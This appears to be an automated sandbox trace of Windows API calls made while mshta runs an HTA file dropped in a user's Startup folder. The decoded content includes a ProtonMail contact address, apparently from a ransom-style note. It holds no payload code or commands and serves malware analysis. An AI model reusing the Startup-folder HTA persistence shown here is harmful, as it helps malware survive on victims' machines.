[0102.068] IInternetSecurityManager:MapUrlToZone (in: This=0x736696bc, pwszUrl="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/Microsoft/Windows/Start%20Menu/Programs/Startup/twU5X5u5JjqyRmBjT4Z9MFf9KNV5.hta", pdwZone=0x1cf20c, dwFlags=0x0 | out: pdwZone=0x1cf20c*=0xffffffff) returned 0x800c0011
[0102.068] CoInternetIsFeatureEnabled (FeatureEntry=0x8, dwFlags=0x2) returned 0x1
[0102.068] CoInternetIsFeatureEnabled (FeatureEntry=0x8, dwFlags=0x2) returned 0x1
[0102.068] CoInternetIsFeatureEnabled (FeatureEntry=0xe, dwFlags=0x2) returned 0x1
[0102.068] IInternetSecurityManager:ProcessUrlAction (in: This=0x736696bc, pwszUrl="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/Microsoft/Windows/Start%20Menu/Programs/Startup/twU5X5u5JjqyRmBjT4Z9MFf9KNV5.hta", dwAction=0x2700, pPolicy=0x1cf210, cbPolicy=0x4, pContext=0x0, cbContext=0x0, dwFlags=0x41, dwReserved=0x0 | out: pPolicy=0x1cf210*=0x0) returned 0x0
[0102.068] CoInternetIsFeatureEnabled (FeatureEntry=0x8, dwFlags=0x2) returned 0x1
[0102.068] IUnknown:Release (This=0x47c7a4) returned 0x9
[0102.068] IUnknown:Release (This=0x47c7a4) returned 0x8
[0102.068] IUnknown:AddRef (This=0x47c954) returned 0x4
[0102.068] IUri:GetPropertyDWORD (in: This=0x47c954, uriProp=0x11, pdwProperty=0x1cf044, dwFlags=0x0 | out: pdwProperty=0x1cf044*=0x9) returned 0x0
[0102.068] IUnknown:Release (This=0x47c954) returned 0x3
[0102.068] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x116) returned 0x496dc0
[0102.068] IInternetSecurityManager:GetSecurityId (in: This=0x4845c8, pwszUrl="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/Microsoft/Windows/Start%20Menu/Programs/Startup/twU5X5u5JjqyRmBjT4Z9MFf9KNV5.hta", pbSecurityId=0x1cf0a0, pcbSecurityId=0x1cf09c*=0x200, dwReserved=0x0 | out: pbSecurityId=0x1cf0a0*=0x66, pcbSecurityId=0x1cf09c*=0x9) returned 0x0
[0102.068] IInternetSecurityManager:GetSecurityId (in: This=0x736696bc, pwszUrl="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/Microsoft/Windows/Start%20Menu/Programs/Startup/twU5X5u5JjqyRmBjT4Z9MFf9KNV5.hta", pbSecurityId=0x1cf0a0, pcbSecurityId=0x1cf09c*=0x200, dwReserved=0x0 | out: pbSecurityId=0x1cf0a0*=0x0, pcbSecurityId=0x1cf09c*=0x200) returned 0x800c0011
[0102.068] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x496dc0 | out: hHeap=0x450000) returned 1
[0102.068] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0102.068] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x9) returned 0x4bb298
[0102.068] StrCmpICW (pszStr1="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/Microsoft/Windows/Start%20Menu/Programs/Startup/twU5X5u5JjqyRmBjT4Z9MFf9KNV5.hta", pszStr2="res://ieframe.dll/PhishSite.htm") returned -12
[0102.068] IUnknown:QueryInterface (in: This=0x47c7a4, riid=0x732ed6e8*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x1cf234 | out: ppvObject=0x1cf234*=0x47c7a4) returned 0x0
[0102.068] IUnknown:Release (This=0x47c7a4) returned 0x8
[0102.068] IUnknown:AddRef (This=0x47c7a4) returned 0x9
[0102.068] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x12c) returned 0x496dc0
[0102.069] IUnknown:AddRef (This=0x4b18f8) returned 0x2
[0102.069] IUnknown:AddRef (This=0x47c7a4) returned 0xa
[0102.069] IUnknown:QueryInterface (in: This=0x47c7a4, riid=0x732ed6e8*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x1cf1f8 | out: ppvObject=0x1cf1f8*=0x47c7a4) returned 0x0
[0102.069] IUnknown:Release (This=0x47c7a4) returned 0xa
[0102.069] IUnknown:AddRef (This=0x47c7a4) returned 0xb
[0102.069] IUnknown:Release (This=0x47c7a4) returned 0xa
[0102.069] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x3c) returned 0x4a3ec0
[0102.069] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0xb4) returned 0x4be830
[0102.069] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x30) returned 0x49c090
[0102.069] IUri:GetScheme (in: This=0x47c7a4, pdwScheme=0x1cf27c | out: pdwScheme=0x1cf27c*=0x9) returned 0x0
[0102.069] IUri:IsEqual (in: This=0x47c954, pUri=0x47c7a4, pfEqual=0x1cf2c4 | out: pfEqual=0x1cf2c4*=1) returned 0x0
[0102.069] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0102.069] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x4c) returned 0x48f248
[0102.069] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x12) returned 0x4961f0
[0102.069] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x50) returned 0x48f2a0
[0102.070] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x60) returned 0x49ec48
[0102.070] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x12c) returned 0x496ef8
[0102.070] IUnknown:AddRef (This=0x47c7a4) returned 0xb
[0102.070] IUnknown:QueryInterface (in: This=0x47c7a4, riid=0x732ed6e8*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x1cf218 | out: ppvObject=0x1cf218*=0x47c7a4) returned 0x0
[0102.070] IUnknown:Release (This=0x47c7a4) returned 0xb
[0102.070] IUnknown:AddRef (This=0x47c7a4) returned 0xc
[0102.070] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x4c) returned 0x48f2f8
[0102.070] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x68) returned 0x4bed38
[0102.070] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x108) returned 0x497030
[0102.070] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x10) returned 0x4bb2b0
[0102.070] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0xcc) returned 0x47d5f0
[0102.070] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x10) returned 0x4bb2c8
[0102.070] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x30) returned 0x49c0c8
[0102.070] CoTaskMemFree (pv=0x0)
[0102.071] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x1a8) returned 0x497140
[0102.071] GetCPInfo (in: CodePage=0x4e3, lpCPInfo=0x1cf1d0 | out: lpCPInfo=0x1cf1d0) returned 1
[0102.071] IUnknown:AddRef (This=0x485e48) returned 0x3
[0102.071] IUnknown:AddRef (This=0x47c7a4) returned 0xd
[0102.071] IUnknown:QueryInterface (in: This=0x47c7a4, riid=0x732ed6e8*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x1cf1d8 | out: ppvObject=0x1cf1d8*=0x47c7a4) returned 0x0
[0102.071] IUnknown:Release (This=0x47c7a4) returned 0xd
[0102.071] IUnknown:AddRef (This=0x47c7a4) returned 0xe
[0102.071] IUri:GetScheme (in: This=0x47c7a4, pdwScheme=0x1cf1dc | out: pdwScheme=0x1cf1dc*=0x9) returned 0x0
[0102.071] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x1006) returned 0x4ba168
[0102.071] ISequentialStream:RemoteRead (in: This=0x4b1808, pv=0x4ba168, cb=0x1000, pcbRead=0x1cf1d8 | out: pv=0x4ba168*=0x3c, pcbRead=0x1cf1d8*=0x1000) returned 0x0
[0102.071] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x4c) returned 0x48f350
[0102.071] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x200c) returned 0x4b3d28
[0102.072] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x2006) returned 0x4b5d40
[0102.072] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4ba168, cbMultiByte=4096, lpWideCharStr=0x4b5d44, cchWideChar=4096 | out: lpWideCharStr="\r\n\r\n
\r\n \r\n fiasco911@protonmail.com\r\n\r\n \r\n\r\n \r\n\r\n \r\n \r\n\r\n \r\n \x09", lpSrch="DTD HTML 4.0") returned="DTD HTML 4.01//EN' 'http://www.w3.org/TR/html4/strict.dtd'>"
[0102.396] StrStrIW (lpFirst="", lpSrch="http://www.w3.org/TR/REC-html40/strict.dtd") returned 0x0
[0102.396] StrStrIW (lpFirst="", lpSrch="DTD XHTML") returned 0x0
[0102.396] StrStrIW (lpFirst="", lpSrch="DTD HTML 4") returned="DTD HTML 4.01//EN' 'http://www.w3.org/TR/html4/strict.dtd'>"
[0102.396] StrStrIW (lpFirst="", lpSrch="http://") returned="http://www.w3.org/TR/html4/strict.dtd'>"
[0102.396] StrStrIW (lpFirst="", lpSrch="DTD XHTML 1.0") returned 0x0
[0102.396] StrStrIW (lpFirst="", lpSrch="DTD HTML 4.0") returned="DTD HTML 4.01//EN' 'http://www.w3.org/TR/html4/strict.dtd'>"
[0102.396] StrStrIW (lpFirst="", lpSrch="http://") returned="http://www.w3.org/TR/html4/strict.dtd'>"
[0102.396] StrStrIW (lpFirst="", lpSrch=" Transitional//") returned 0x0
[0102.396] StrStrIW (lpFirst="", lpSrch=" Frameset//") returned 0x0
[0102.396] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x491568 | out: hHeap=0x450000) returned 1
[0102.396] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x34) returned 0x490020
[0102.397] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xba) returned 0x491568
[0102.397] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x4c) returned 0x48ebc0
[0102.397] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x10) returned 0x493930
[0102.397] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x28) returned 0x46d158
[0102.397] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x4c) returned 0x48ef88
[0102.397] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0102.397] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x50) returned 0x48eb10
[0102.397] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x48eb10 | out: hHeap=0x450000) returned 1
[0102.397] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0102.397] IUnknown:AddRef (This=0x47c954) returned 0x3
[0102.398] IInternetSecurityManager:MapUrlToZone (in: This=0x736696bc, pwszUrl="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/Microsoft/Windows/Start%20Menu/Programs/Startup/twU5X5u5JjqyRmBjT4Z9MFf9KNV5.hta", pdwZone=0x1cf344, dwFlags=0x0 | out: pdwZone=0x1cf344*=0xffffffff) returned 0x800c0011
[0102.398] CoInternetIsFeatureEnabled (FeatureEntry=0x8, dwFlags=0x2) returned 0x1
[0102.398] CoInternetIsFeatureEnabled (FeatureEntry=0x8, dwFlags=0x2) returned 0x1
[0102.398] CoInternetIsFeatureEnabled (FeatureEntry=0xe, dwFlags=0x2) returned 0x1
[0102.398] IInternetSecurityManager:ProcessUrlAction (in: This=0x736696bc, pwszUrl="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/Microsoft/Windows/Start%20Menu/Programs/Startup/twU5X5u5JjqyRmBjT4Z9MFf9KNV5.hta", dwAction=0x2106, pPolicy=0x1cf348, cbPolicy=0x4, pContext=0x0, cbContext=0x0, dwFlags=0x41, dwReserved=0x0 | out: pPolicy=0x1cf348*=0x0) returned 0x0
[0102.398] CoInternetIsFeatureEnabled (FeatureEntry=0x8, dwFlags=0x2) returned 0x1
[0102.398] IUnknown:Release (This=0x47c954) returned 0x2
[0102.398] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x50) returned 0x48eb10
[0102.398] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x48eb10 | out: hHeap=0x450000) returned 1
[0102.398] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0102.398] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x493930 | out: hHeap=0x450000) returned 1
[0102.398] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x28) returned 0x492d48
[0102.398] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x4c) returned 0x48eb10
[0102.398] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x10) returned 0x493930
[0102.398] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x68) returned 0x4a4bd8
[0102.398] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x30) returned 0x46d808
[0102.399] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x4c) returned 0x48eb68
[0102.399] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x28) returned 0x492da8
[0102.399] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x14) returned 0x4734d0
[0102.399] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x1a) returned 0x4b1808
[0102.399] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x40) returned 0x464298
[0102.399] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x4c) returned 0x48f198
[0102.399] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x5c) returned 0x49ed18
[0102.399] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x50) returned 0x48f140
[0102.399] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x6c) returned 0x48cb40
[0102.399] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x108) returned 0x493530
[0102.399] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0102.399] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x50) returned 0x48f090
[0102.399] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x48f090 | out: hHeap=0x450000) returned 1
[0102.399] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0102.399] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x50) returned 0x48f090
[0102.399] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x48f090 | out: hHeap=0x450000) returned 1
[0102.399] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0102.399] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x50) returned 0x48f090
[0102.399] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x48f090 | out: hHeap=0x450000) returned 1
[0102.399] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0102.399] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x493930 | out: hHeap=0x450000) returned 1
[0102.400] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x493530 | out: hHeap=0x450000) returned 1
[0102.400] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0102.400] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x48cb40 | out: hHeap=0x450000) returned 1
[0102.400] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0102.400] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x32) returned 0x490060
[0102.400] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x36) returned 0x4900a0
[0102.400] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf468 | out: lpPoint=0x1cf468) returned 1
[0102.400] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x30) returned 0x46d920
[0102.400] GetCurrentThreadId () returned 0x4e0
[0102.400] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x46d920 | out: hHeap=0x450000) returned 1
[0102.400] GetCurrentThreadId () returned 0x4e0
[0102.400] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x490060 | out: hHeap=0x450000) returned 1
[0102.400] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x48f140 | out: hHeap=0x450000) returned 1
[0102.400] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x49ed18 | out: hHeap=0x450000) returned 1
[0102.400] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0102.401] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4bec18 | out: hHeap=0x450000) returned 1
[0102.404] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x38) returned 0x490060
[0102.404] StrChrW (lpStart="HTA:APPLICATION", wMatch=0x3a) returned=":APPLICATION"
[0102.404] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xc) returned 0x493930
[0102.404] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x1c) returned 0x4b1830
[0102.404] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x1c) returned 0x4b1880
[0102.404] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x14) returned 0x473690
[0102.404] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x6) returned 0x4a0588
[0102.404] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x40) returned 0x464328
[0102.404] StrCmpNICW (lpStr1="on", lpStr2="Sy", nChar=2) returned -4
[0102.404] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x2a) returned 0x46d920
[0102.404] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x8) returned 0x4a05d8
[0102.404] StrCmpNICW (lpStr1="on", lpStr2="SI", nChar=2) returned -4
[0102.404] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x16) returned 0x473850
[0102.404] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x18) returned 0x473650
[0102.404] StrCmpNICW (lpStr1="on", lpStr2="IC", nChar=2) returned 6
[0102.404] StrChrW (lpStart="HTA:APPLICATION", wMatch=0x3a) returned=":APPLICATION"
[0102.404] StrCmpICW (pszStr1="PUBLIC", pszStr2="HTA") returned 8
[0102.404] StrCmpICW (pszStr1="HTA", pszStr2="HTA") returned 0
[0102.404] StrCmpICW (pszStr1="APPLICATION", pszStr2="APPLICATION") returned 0
[0102.406] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x4c) returned 0x48f140
[0102.406] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x10) returned 0x493948
[0102.406] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0102.406] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x50) returned 0x48f090
[0102.406] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x48f090 | out: hHeap=0x450000) returned 1
[0102.406] IsCharSpaceW (wch=0x75) returned 0
[0102.406] StrCmpNICW (lpStr1="url", lpStr2="URL", nChar=3) returned 0
[0102.406] IsCharSpaceW (wch=0x28) returned 0
[0102.406] IsCharSpaceW (wch=0x23) returned 0
[0102.406] IsCharSpaceW (wch=0x23) returned 0
[0102.407] IsCharSpaceW (wch=0x64) returned 0
[0102.407] IsCharSpaceW (wch=0x65) returned 0
[0102.407] IsCharSpaceW (wch=0x66) returned 0
[0102.407] IsCharSpaceW (wch=0x61) returned 0
[0102.407] IsCharSpaceW (wch=0x75) returned 0
[0102.407] IsCharSpaceW (wch=0x6c) returned 0
[0102.407] IsCharSpaceW (wch=0x74) returned 0
[0102.407] IsCharSpaceW (wch=0x23) returned 0
[0102.407] IsCharSpaceW (wch=0x41) returned 0
[0102.407] IsCharSpaceW (wch=0x50) returned 0
[0102.407] IsCharSpaceW (wch=0x50) returned 0
[0102.407] IsCharSpaceW (wch=0x4c) returned 0
[0102.407] IsCharSpaceW (wch=0x49) returned 0
[0102.407] IsCharSpaceW (wch=0x43) returned 0
[0102.407] IsCharSpaceW (wch=0x41) returned 0
[0102.407] IsCharSpaceW (wch=0x54) returned 0
[0102.407] IsCharSpaceW (wch=0x49) returned 0
[0102.407] IsCharSpaceW (wch=0x4f) returned 0
[0102.407] IsCharSpaceW (wch=0x4e) returned 0
[0102.407] IsCharSpaceW (wch=0x29) returned 0
[0102.407] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x36) returned 0x4900e0
[0102.407] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x10) returned 0x493ab0
[0102.407] IsCharSpaceW (wch=0x0) returned 0
[0102.407] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4900e0 | out: hHeap=0x450000) returned 1
[0102.408] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x493ab0 | out: hHeap=0x450000) returned 1
[0102.408] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0102.408] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x18) returned 0x496130
[0102.408] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x18) returned 0x496210
[0102.408] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x20) returned 0x4b17e0
[0102.408] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x493948 | out: hHeap=0x450000) returned 1
[0102.408] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x50) returned 0x48f090
[0102.408] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x496130 | out: hHeap=0x450000) returned 1
[0102.408] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x48f090 | out: hHeap=0x450000) returned 1
[0102.408] IsCharSpaceW (wch=0x75) returned 0
[0102.408] StrCmpNICW (lpStr1="url", lpStr2="URL", nChar=3) returned 0
[0102.408] IsCharSpaceW (wch=0x28) returned 0
[0102.408] IsCharSpaceW (wch=0x23) returned 0
[0102.408] IsCharSpaceW (wch=0x23) returned 0
[0102.408] IsCharSpaceW (wch=0x64) returned 0
[0102.408] IsCharSpaceW (wch=0x65) returned 0
[0102.408] IsCharSpaceW (wch=0x66) returned 0
[0102.408] IsCharSpaceW (wch=0x61) returned 0
[0102.408] IsCharSpaceW (wch=0x75) returned 0
[0102.408] IsCharSpaceW (wch=0x6c) returned 0
[0102.408] IsCharSpaceW (wch=0x74) returned 0
[0102.408] IsCharSpaceW (wch=0x23) returned 0
[0102.408] IsCharSpaceW (wch=0x41) returned 0
[0102.408] IsCharSpaceW (wch=0x50) returned 0
[0102.408] IsCharSpaceW (wch=0x50) returned 0
[0102.408] IsCharSpaceW (wch=0x4c) returned 0
[0102.408] IsCharSpaceW (wch=0x49) returned 0
[0102.409] IsCharSpaceW (wch=0x43) returned 0
[0102.409] IsCharSpaceW (wch=0x41) returned 0
[0102.409] IsCharSpaceW (wch=0x54) returned 0
[0102.409] IsCharSpaceW (wch=0x49) returned 0
[0102.409] IsCharSpaceW (wch=0x4f) returned 0
[0102.409] IsCharSpaceW (wch=0x4e) returned 0
[0102.409] IsCharSpaceW (wch=0x29) returned 0
[0102.409] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x36) returned 0x4900e0
[0102.409] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x10) returned 0x493948
[0102.409] IsCharSpaceW (wch=0x0) returned 0
[0102.409] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x54) returned 0x4a0d28
[0102.409] RtlReAllocateHeap (Heap=0x450000, Flags=0x0, Ptr=0x464328, Size=0x60) returned 0x49ed18
[0102.409] CoInternetIsFeatureEnabled (FeatureEntry=0x6, dwFlags=0x2) returned 0x0
[0102.411] IUnknown:AddRef (This=0x47c954) returned 0x3
[0102.411] IInternetSecurityManager:MapUrlToZone (in: This=0x736696bc, pwszUrl="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/Microsoft/Windows/Start%20Menu/Programs/Startup/twU5X5u5JjqyRmBjT4Z9MFf9KNV5.hta", pdwZone=0x1cd4b4, dwFlags=0x0 | out: pdwZone=0x1cd4b4*=0xffffffff) returned 0x800c0011
[0102.411] CoInternetIsFeatureEnabled (FeatureEntry=0x8, dwFlags=0x2) returned 0x1
[0102.411] CoInternetIsFeatureEnabled (FeatureEntry=0x8, dwFlags=0x2) returned 0x1
[0102.411] CoInternetIsFeatureEnabled (FeatureEntry=0xe, dwFlags=0x2) returned 0x1
[0102.411] IInternetSecurityManager:ProcessUrlAction (in: This=0x736696bc, pwszUrl="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/Microsoft/Windows/Start%20Menu/Programs/Startup/twU5X5u5JjqyRmBjT4Z9MFf9KNV5.hta", dwAction=0x2000, pPolicy=0x1cd4b8, cbPolicy=0x4, pContext=0x4900ec*=0x23, cbContext=0x2a, dwFlags=0x40, dwReserved=0x0 | out: pPolicy=0x1cd4b8*=0x0) returned 0x0
[0102.411] CoInternetIsFeatureEnabled (FeatureEntry=0x8, dwFlags=0x2) returned 0x1
[0102.411] IUnknown:Release (This=0x47c954) returned 0x2
[0102.411] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x50) returned 0x48f090
[0102.411] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x34) returned 0x490120
[0102.411] StrChrW (lpStart="default#APPLICATION", wMatch=0x23) returned="#APPLICATION"
[0102.411] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x12) returned 0x496130
[0102.411] StrChrW (lpStart="default", wMatch=0x23) returned 0x0
[0102.411] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0xa8) returned 0x495608
[0102.411] StrCmpNICW (lpStr1="#default", lpStr2="#default", nChar=8) returned 0
[0102.411] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x16) returned 0x496230
[0102.411] StrCmpNICW (lpStr1="#default", lpStr2="#default", nChar=8) returned 0
[0102.412] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x14) returned 0x496250
[0102.412] GetCurrentThreadId () returned 0x4e0
[0102.412] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x10) returned 0x48bf30
[0102.412] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x1a) returned 0x4b19c0
[0102.412] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x94) returned 0x49a038
[0102.412] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0102.412] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0xa8) returned 0x495948
[0102.412] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x2e) returned 0x46d958
[0102.412] StrCmpNICW (lpStr1="#default", lpStr2="#default", nChar=8) returned 0
[0102.412] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x14) returned 0x496270
[0102.412] GetCurrentThreadId () returned 0x4e0
[0102.412] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x32) returned 0x490160
[0102.412] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x496130 | out: hHeap=0x450000) returned 1
[0102.412] StrChrW (lpStart="default#APPLICATION", wMatch=0x23) returned="#APPLICATION"
[0102.413] GetProcAddress (hModule=0x76130000, lpProcName=0x2) returned 0x76134642
[0102.413] StrCmpICW (pszStr1="APPLICATION", pszStr2="Application") returned 0
[0102.413] GetCurrentThreadId () returned 0x4e0
[0102.413] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x24) returned 0x492d78
